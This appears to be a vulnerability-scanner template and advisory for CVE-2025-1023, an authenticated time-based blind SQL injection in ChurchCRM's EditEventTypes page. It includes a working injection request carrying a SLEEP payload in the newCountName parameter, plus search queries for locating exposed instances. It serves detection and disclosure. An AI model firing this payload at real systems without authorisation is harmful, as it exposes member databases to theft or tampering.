A vulnerability exists in ChurchCRM 5.13.0 and prior that allows an attacker to execute arbitrary SQL queries by exploiting a time-based blind SQL Injection vulnerability in the EditEventTypes functionality. The newCountName parameter is directly concatenated into an SQL query without proper sanitization, allowing an attacker to manipulate database queries and execute arbitrary commands, potentially leading to data exfiltration, modification, or deletion.
PoC
id: CVE-2025-1023
info:
name: ChurchCRM - SQL Injection
author: Kazgangap
severity: critical
description: |
A vulnerability exists in ChurchCRM 5.13.0 and prior that allows an attacker to execute arbitrary SQL queries by exploiting a time-based blind SQL Injection vulnerability in the EditEventTypes functionality. The newCountName parameter is directly concatenated into an SQL query without proper sanitization, allowing an attacker to manipulate database queries and execute arbitrary commands, potentially leading to data exfiltration, modification, or deletion.
impact: |
Authenticated attackers can execute arbitrary SQL queries through time-based blind SQL injection in ChurchCRM, leading to data exfiltration, modification, or deletion of church member information and potentially complete database compromise.
remediation: |
Upgrade to ChurchCRM version 5.13.1 or later that addresses the SQL injection vulnerability.
reference:
- https://github.com/ChurchCRM/CRM/issues/7246
- https://github.com/Kazgangap/cve-poc-garage/blob/main/2025/CVE-2025-1023.md
- https://nvd.nist.gov/vuln/detail/CVE-2025-1023
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-1023
cwe-id: CWE-89
epss-score: 0.02455
epss-percentile: 0.83591
cpe: cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:*
metadata:
verified: true
vendor: churchcrm
product: churchcrm
shodan-query: http.title:"churchcrm"
fofa-query: app="churchcrm"
tags: cve,cve2025,authenticated,churchcrm,sqli,vkev,vuln
http:
- raw:
- |
POST /session/begin HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User={{username}}&Password={{password}}
- |
@timeout 30s
POST /EditEventTypes.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
EN_tyid=1&newEvtName=Test&newEvtStartTime=10:30:00&newCountName=1%27%20AND%20(SELECT%20SLEEP(8))%20AND%20%271%27%3D%271&Action=ADD
matchers:
- type: dsl
dsl:
- 'duration_2 >= 8'
- 'status_code_2 == 500'
- 'contains(body_2, "<title>ChurchCRM: Edit Event Types")'
condition: and
# digest: 4a0a0047304502204045adb473b049ee0a3bbbe64261288ae9c06df8457a2dca32ebd624d595733502210098542c9bfefac5679dc1faa1d72b00e7b7e64da383d34c209a69b5de9715a947:922c64590222798bb761d5b6d8e72950
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